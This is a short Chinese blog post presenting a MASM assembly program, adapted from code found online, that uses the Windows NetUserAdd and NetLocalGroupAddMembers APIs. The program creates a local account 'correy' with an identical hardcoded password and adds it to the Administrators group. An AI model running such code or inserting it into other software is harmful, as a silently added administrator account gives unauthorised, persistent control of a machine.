2012年7月5日星期四

NetUserAdd.Asm

;此文是修改网上的汇编代码。修改成我喜欢的方式。
;羞于贴出来,但为了知识,还是发出来。
;此文虽小,但发现一个知识宝库,等待去挖掘。
.386
.model flat, stdcall
option casemap :none 

include windows.inc
include Netapi32.inc
includelib Netapi32.lib

.code

ui1 USER_INFO_1 <offset szUser,offset szPass,0,USER_PRIV_USER,0,0,UF_NORMAL_ACCOUNT,0>
lmi3 LOCALGROUP_MEMBERS_INFO_3 <offset szUser>
dwErr DWORD 0
szUser dw "c","o","r","r","e","y",0
szPass dw "c","o","r","r","e","y",0
szAdministrators dw "A","d","m","i","n","i","s","t","r","a","t","o","r","s",0

start:invoke NetUserAdd,NULL, 1,addr ui1,addr dwErr
invoke NetLocalGroupAddMembers,NULL,addr szAdministrators,3,addr lmi3,1
ret ;invoke ExitProcess,0
end start 
;made at 2011,10.16

没有评论:

发表评论